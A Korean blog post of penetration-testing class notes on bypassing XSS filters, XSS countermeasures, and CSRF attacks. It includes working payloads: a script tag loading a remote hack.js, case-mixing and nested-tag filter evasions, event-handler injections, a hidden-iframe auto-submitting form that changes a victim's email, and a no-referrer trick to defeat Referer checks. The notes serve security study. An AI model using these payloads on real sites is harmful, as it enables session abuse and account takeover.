8주차 수업

Peroro·2023년 5월 18일
0
post-custom-banner
  • 교과서적으로 하지마라 -> 해커, 공격자 입장에서 해볼 것

anti XSS Bypass

  • Block List 필터링
    - WAF(Web Application Firewall): 웹 어플리케이션 요청할 때 그 요청한 값을 봐서 차단을 함.
    - Firewall : IP를 이용해 막음
  1. Client side 검증 우회: javascript로 검증.
    -> Burp Suite(프록시 툴)로 쉽게 뚫림.

  2. Script Load
    ", ' , alert function

<script src=http://myhome.com/hack.js></script>
  1. 대소문자 혼용
<script> -> <ScRipt>
  1. 필터링 되는 문자
<script> - > <scrscriptipt>
  1. EventHandler
<img src=x onerror="alert(1)">
- onactivate
- onload

<svg>
...

HTML

<audio src = "http://example" onplay="" autoplay = "" >

참고: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

XSS 대응 방안

  1. HTML 특수문자들을 HTML Entity으로 치환한다.
    ex) <(<) >(>)
    하지만, 모든 파라미터에 HTML entitiy를 사용할 수 없음.
  1. HTML Editor에서 문제가 될 수 있다.
    step 1. HTML -> HTML Entity로 치환한다.
    <img src= >&lt;img src= &gt;
    step 2. White List 기반으로 살려줄(허용해줄) 태그를 살려줌.
    <img src= >
    step 3. Black List 기반으로 event Handler 필터링
    onerror, onload와 같은 속성이 추가될 경우 필터링한다.

  • 모의해킹 결과보고서 -> 바로 고쳐야겠다라는 생각이 들게 만들어야 함.

CSRF (Cross site Request Forgery)

  • 피해자가 자신의 의도와는 다르게, 서버로 임의의 요청을 하게 만드는 공격.
    -> 피해자의 세션을 활용.
  • 게시판, 메일함
  • 어디서 발생? 모든 요청에서 발생. -> 민감한 요청.
    ex) 비밀번호 변경, 이메일 주소 변경 관리자 계정 등록...
    -> 컨설턴트의 판단.
    -> 의외로 많이 일어남.

  1. GET Method에서 CSRF.
http://ctf.segfaulthub.com:8989/xvwa/vulnerabilities/csrf/?passwd=2222&confirm=2222&submit=submit
  1. POST Method에서 CSRF.
    CSRF VS XSS -> XSS 취약점을 활용.

왜 활용해야 할까?

<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"></iframe> 
<form method="POST" action="https://csrf.net/my-account/change-email" target="stealthframe"> 
<input type="hidden" name="email" value="normal@test.com"> </form> 
<script> document.forms[0].submit(); </script>
  • iframe을 사용해서 안보이게 함.
  • XSS를 이용해서 스크립트를 넣는다. 이때, 아래 form tag를 넣어 post 형식으로 보낼 때 보내고자 하는 파라미터를 넣게 된다. 이때, XSS 취약점을 활용하게 된다.
<form method = "POST">
	<input>
</form>
  1. Referer Check?
    -> Referer: 이 요청이 어디에서 한건지
    -> 잘 체크가 되면, 우회가 불가능함
비밀번호 변경 요청
if referer 헤더가 있으면
-> 검사시작
-> 
else
-> 보안으로 볼때는 차단하는게 맞지만, 개발 입장에서는 그냥 고!
<meta name = "referrer" content="no-referrer">

위와 같은 코드를 넣어 Referer Check를 할 수 없게 헤더를 뺀다.

  1. CSRF Token
  • 궁금증: 서버가 어떤 방식으로 발행을 할까?
  • CSRF token 생성 -> 세션.
<iframe src = >
<script>
-> iframe에 존재하는 토큰을 가져오면 됨.
</script>
profile
오늘 공부한 것을 올리는 공간 / 일주일에 글 3개 / 블로그 이전 : https://perorochan321.tistory.com/
post-custom-banner

0개의 댓글